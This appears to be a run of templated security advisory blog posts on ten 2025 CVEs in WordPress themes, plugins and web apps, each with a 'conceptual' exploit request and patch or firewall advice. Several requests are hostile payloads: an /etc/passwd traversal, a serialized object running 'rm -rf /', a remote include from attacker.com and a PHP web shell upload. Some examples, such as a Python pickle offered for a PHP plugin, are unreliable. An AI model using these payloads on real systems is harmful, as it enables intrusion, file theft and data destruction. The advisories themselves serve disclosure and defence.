Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently assigned the designation CVE-2025-32928 to a critical vulnerability found in ThemeGoods Altair. This serious flaw, known as a Deserialization of Untrusted Data vulnerability, presents a high risk to any system or network that relies on Altair, with the potential for system compromise or data leakage.
Given the severity of this security issue, understanding its mechanics, impacts, and potential mitigation strategies is crucial for all users and administrators of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-32928
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

ThemeGoods Altair | Through 5.2.2

How the Exploit Works

This exploit works by taking advantage of the deserialization process within ThemeGoods Altair. Typically, deserialization is used to convert byte streams into objects. However, if untrusted data is deserialized, it can result in a vulnerability that allows for the injection of malicious objects or code.
In the case of CVE-2025-32928, an attacker could send serialized data that includes a malicious object to the Altair system. When this data is deserialized by the system, the malicious object is processed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual code example of how this vulnerability might be exploited:

POST /altair/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "{malicious_object}" }

In this example, the attacker sends a POST request to a vulnerable endpoint on the target system, with the serialized malicious object included in the body of the request.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is by applying the patch provided by the vendor. In situations where applying the patch immediately is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy by identifying and blocking attempts to exploit this vulnerability.
However, it is important to note that these are temporary solutions and applying the vendor’s patch should be prioritized to fully secure your system. It’s crucial to regularly update and patch your software to prevent threats like CVE-2025-32928 from compromising your systems and data.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security vulnerability, designated CVE-2025-32927, in the FoodBakery plugin developed by Chimpstudio. This vulnerability, categorized as a deserialization of untrusted data flaw, has the potential to expose systems to malicious attacks, leading to possible data leakage or system compromise.
Given the widespread use of the FoodBakery plugin by restaurant businesses and food delivery services for online ordering and delivery functionalities, the reach of this vulnerability is broad and the consequences severe. It is of paramount importance that this vulnerability is properly understood and promptly addressed to ensure the security and integrity of systems and data.

Vulnerability Summary

CVE ID: CVE-2025-32927
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FoodBakery by Chimpstudio | n/a through 3.3

How the Exploit Works

The vulnerability arises from the deserialization of untrusted data within the FoodBakery software. Deserialization is the process of converting data from a flat format into an object. When this process is not handled correctly, it can create an opening for a malicious actor to inject harmful data into the deserialization process, leading to an object injection. With this, an attacker can execute arbitrary code within the application, potentially compromising the entire system.

Conceptual Example Code

This conceptual example illustrates how a malicious HTTP request exploiting the vulnerability could be constructed:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{serialized_object}" }

In this example, `{serialized_object}` represents a serialized object containing malicious code. When the FoodBakery software deserializes this data, it may unintentionally execute the malicious code, leading to potential system compromise or data leakage.

Mitigation

The immediate mitigation for this vulnerability is to apply the vendor’s patch, which addresses the deserialization flaw. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, this should not be seen as a long-term solution, and the vendor’s patch should be applied as soon as feasible.

Overview

The cybersecurity landscape is riddled with threats that potentially compromise systems and expose sensitive data. One such threat has been identified in the form of a critical vulnerability, CVE-2025-32926, in the Grand Restaurant WordPress Theme by ThemeGoods. This fault affects all versions of the theme up to 7.0, and can lead to severe consequences, such as system compromise or data leakage. Considering the popularity of WordPress and the widespread use of themes, this vulnerability has far-reaching implications and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-32926
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

Grand Restaurant WordPress Theme | Up to 7.0

How the Exploit Works

This vulnerability, often referred to as a Path Traversal attack, is caused by improper validation of user-supplied inputs. Attackers can manipulate these inputs to traverse the file system outside of the restricted directory. By exploiting this vulnerability, cybercriminals can gain unauthorized access to sensitive data and system files, which can lead to a full system compromise.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability:

GET /wp-content/themes/grandrestaurant/upload_file.php?file=../../../etc/passwd HTTP/1.1
Host: victim-site.com

In this example, the attacker sends a GET request to the upload_file.php script, which is part of the Grand Restaurant WordPress Theme. The `file` parameter is manipulated to move up three directory levels (via `../../../`) to access the `/etc/passwd` file, a critical system file on a Unix-based system.
This conceptual example serves to illustrate the potential severity of the vulnerability. In a real-world scenario, an attacker could attempt to access other sensitive files or directories, depending on the system’s architecture and configuration.

Overview

CVE-2025-47581 is a severe vulnerability that affects the Elbisnero WordPress Events Calendar Registration & Tickets plugin. The vulnerability lies in its deserialization of untrusted data, which allows for object injection. This creates a potential for cybercriminals to compromise systems or leak data, posing a significant threat to websites using this plugin.
The security flaw is of great concern due to the popularity of WordPress and its wide use in creating websites for various purposes, ranging from personal blogs to professional business websites. It is particularly critical for websites that handle sensitive data, where a successful exploit may lead to severe consequences.

Vulnerability Summary

CVE ID: CVE-2025-47581
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Elbisnero WordPress Events Calendar Registration & Tickets | up to 2.6.0

How the Exploit Works

The vulnerability is rooted in the plugin’s deserialization of untrusted data. Deserialization is the process of converting a stream of bytes back into a copy of the original object. However, if an attacker can manipulate the serialized data (the byte stream), they can control the structure of the deserialized object. This control may allow them to execute arbitrary code, alter data, or perform other malicious activities.

Conceptual Example Code

The following pseudocode demonstrates a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-content/plugins/elbisnero-events-calendar/endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/php-serialized-object
O:8:"Attacker":2:{s:4:"code";s:39:"system('rm -rf /'); // Arbitrary code execution";s:5:"value";s:5:"dummy";}

In this example, the attacker sends a serialized PHP object that, when deserialized by the vulnerable plugin, executes the system command ‘rm -rf /’ leading to destructive consequences.

Mitigation Guidance

Users are strongly advised to apply the vendor patch as soon as it’s available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method, ensuring that serialized objects are not accepted from untrusted sources. Regularly updating your software and employing good cybersecurity practices can also significantly reduce the risk.

Overview

In today’s blog post, we delve into an important cybersecurity vulnerability, CVE-2025-39410, that has been discovered in the widely used Smart Sections Theme Builder – WPBakery Page Builder Addon. This vulnerability pertains to deserialization of untrusted data, a common area of vulnerability in web applications that could potentially lead to system compromise or data leakage. It is crucial to understand this vulnerability due to the widespread use of the affected product across a diverse range of websites.

Vulnerability Summary

CVE ID: CVE-2025-39410
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Smart Sections Theme Builder – WPBakery Page Builder Addon | n/a through 1.7.8

How the Exploit Works

The exploit takes advantage of the Deserialization of Untrusted Data vulnerability. In essence, deserialization is the process where data is converted from a format suitable for storage or transmission back to an object. The vulnerability arises when an application deserializes data without properly validating or sanitizing it. An attacker can manipulate the serialized data to modify the application’s logic, execute arbitrary code, or instigate other malicious activities.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified representation and actual payloads would be more complex.

POST /themeBuilder/modify HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "themeData": "[malicious serialized object]" }

In this example, the attacker sends a POST request with a malicious serialized object in the `themeData` field. If the server deserializes this object without proper validation, the attacker could gain unauthorized control over the system or cause data leakage.

Recommendations for Mitigation

Users of the Smart Sections Theme Builder – WPBakery Page Builder Addon are recommended to immediately apply the patch provided by the vendor. If the patch cannot be applied immediately, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation method to guard against potential exploitation of this vulnerability. It is crucial to update the affected product to a patched version as soon as feasible to ensure optimal security.

Overview

In this blog post, we will delve into the details of a newly discovered high-risk vulnerability, CVE-2025-39406. This vulnerability has been found in mojoomla’s WPAMS and directly affects PHP programming. It’s a PHP Remote File Inclusion vulnerability, which, if exploited, could lead to a complete system compromise or significant data leakage. This vulnerability poses a significant threat given the widespread use of PHP in web development and the popularity of the WPAMS software.

Vulnerability Summary

CVE ID: CVE-2025-39406
Severity: High (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

mojoomla WPAMS | n/a through 44.0

How the Exploit Works

This vulnerability stems from an improper control of a filename for an Include/Require statement in a PHP program, specifically within the mojoomla WPAMS software. This improper control allows for a PHP Remote File Inclusion, which means an attacker could manipulate the filename to include a file from a remote server. This file could contain malicious script that is executed on the host server, potentially leading to a system compromise or data leakage.

Conceptual Example Code

In a potential exploitation scenario, an attacker might send a malicious HTTP request to a vulnerable endpoint like this:

GET /wpams.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the ‘file’ parameter is manipulated to include a PHP file from the attacker’s server (‘http://attacker.com/malicious.php’).

Recommendations for Mitigation

To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as it is available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploit attempts. Regularly updating and patching software, along with implementing secure coding practices, can also help protect against such vulnerabilities.

Overview

The vulnerability identified as CVE-2025-47582 is a critical security flaw that affects the QuantumCloud WPBot Pro WordPress Chatbot. This vulnerability concerns the deserialization of untrusted data, which can lead to possible system compromise or data leakage. Given the widespread use of WordPress Chatbot in the online world, this issue possesses serious implications for both website owners and users, potentially impacting data integrity, confidentiality, and availability.

Vulnerability Summary

CVE ID: CVE-2025-47582
Severity: Critical (CVSS v3 score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

QuantumCloud WPBot Pro WordPress Chatbot | Up to 12.7.0

How the Exploit Works

The vulnerability allows an attacker to inject malicious objects into the QuantumCloud WPBot Pro WordPress Chatbot due to improper deserialization of untrusted data. When the application deserializes untrusted data without proper validation, it can be manipulated by an attacker to alter the flow of execution, leading to arbitrary code execution, and eventually, complete system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. This is a simplified HTTP request where an attacker sends a malicious serialized object to the vulnerable endpoint:

POST /wpbot-pro/vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"serialized_object": "gANjYXNzb3NpYXRpb25zLmV4cGxvaXQKRXhwbG9pdApxACmBcQF9cQIoWAEAAAA="
}

In this example, the `serialized_object` value is a base64-encoded, serialized object that contains malicious code. When this object is deserialized by the WPBot Pro WordPress Chatbot, the malicious code is executed, leading to system compromise or data leakage.

Mitigation Guidance

It’s strongly recommended to apply the vendor-supplied patch to mitigate this vulnerability. If the patch cannot be applied immediately, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can be configured to detect and prevent attempts to exploit this vulnerability. However, these are not long-term solutions and applying the vendor’s patch as soon as possible is highly advised.

Overview

This blog post delves into a critical cybersecurity vulnerability – CVE-2025-39402. This vulnerability, identified in the mojoomla WPAMS system, relates to an unrestricted upload of file types, which can potentially allow malicious actors to upload a web shell to the server. This issue is significant, as it opens up the opportunity for unauthorized access, potential system compromise, and data leakage. It affects all versions of WPAMS up to and including 44.0, underscoring the importance of immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-39402
Severity: Critical (CVSS 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

mojoomla WPAMS | n/a through 44.0

How the Exploit Works

The vulnerability lies in the lack of sufficient checks during the file upload process in mojoomla WPAMS. An attacker can exploit this by uploading a web shell, which is a script that allows remote administration of the machine. Once the web shell is uploaded and executed, the attacker has the same privileges as the user running the web server (often root or administrator). This allows for a full compromise of the server, leading to potential data leakage or other malicious activities.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP POST request to upload a malicious web shell:

POST /file_upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebShell
------WebShell
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebShell--

This example uploads a simple PHP web shell that would allow the attacker to execute arbitrary system commands by visiting “webshell.php?cmd=[command]”.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor’s patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can block or alert on detected web shell uploads or execution patterns. Regular updates and patches, thorough input validation and restriction on file types that can be uploaded are also important preventive measures.

Overview

In the rapidly evolving landscape of cybersecurity, the recent discovery of a severe vulnerability, CVE-2025-26892, in the Celestial Aura system has raised serious concerns. This vulnerability allows for unrestricted upload of files with dangerous types, leading to potential misuse of malicious files. It pertains to Celestial Aura versions up to 2.2, thus impacting all users of these versions. The severity of this issue is reflected in its high CVSS Severity Score of 9.9, indicating the potential for significant system compromise or data leakage. In this post, we will delve deep into the nature of this vulnerability, its impact, and the recommended mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-26892
Severity: Critical (9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Celestial Aura | Up to 2.2

How the Exploit Works

The exploit takes advantage of the unrestricted file upload vulnerability in Celestial Aura. An attacker, without needing any special privileges or user interaction, can upload a malicious file to the system. Since the system does not enforce any file type restrictions, the attacker can upload a file designed to compromise the system or cause data leakage. Once uploaded, the file can be executed within the system, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. In this case, it’s a HTTP request to upload a malicious file to the system:

POST /upload/file HTTP/1.1
Host: target.celestialaura.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="malicious.exe"
{binary data}

In this example, the attacker is uploading a malicious executable file named “malicious.exe. The binary data represents the contents of the malicious file.

Mitigation Guidance

The best way to mitigate this vulnerability is to apply the patch provided by the vendor. If a patch is not immediately available or cannot be applied right away, a temporary mitigation strategy can be the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can monitor and block potentially malicious file uploads, providing a layer of protection until the official patch can be applied.

Overview

The world of cybersecurity is finding itself faced with a potentially devastating vulnerability that could lead to system compromise or significant data leaks. The vulnerability, known as CVE-2025-26872, affects the dkszone Eximius application, a widely utilized software. This vulnerability is particularly concerning due to its potential to allow unrestricted uploads of files with dangerous types, thereby enabling hackers to use malicious files.
The severity of this vulnerability cannot be understated, not only due to its inherent risk, but also due to the pervasiveness of Eximius. With a CVSS Severity Score of 9.9, the potential for catastrophic harm is high, necessitating immediate attention and action from all those affected.

Vulnerability Summary

CVE ID: CVE-2025-26872
Severity: Critical (9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

dkszone Eximius | Up to and including 2.2

How the Exploit Works

This vulnerability arises from a lack of stringent security measures in Eximius, which allows for unrestricted file uploads. An attacker can exploit this flaw to upload a file containing malicious code to the system. Once the file is uploaded, the attacker can execute the malicious code, potentially compromising the system or leading to a significant data leak.

Conceptual Example Code

Below is a conceptual example illustrating how this vulnerability might be exploited. Please note that this example is for educational purposes only and should not be used for malicious intent.

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="malware.js"
Content-Type: application/javascript
< malicious code here >
------Boundary--

In this example, the attacker sends a POST request to the “/upload/endpoint” with a malicious JavaScript file named “malware.js. Once uploaded, the malicious code is executed, potentially compromising the system or leading to data leakage.

Mitigation

To mitigate this critical vulnerability, it is advised to apply the patch provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent the exploitation of this vulnerability. However, these measures are temporary and the patch should be applied as soon as available to fully secure the system from this vulnerability.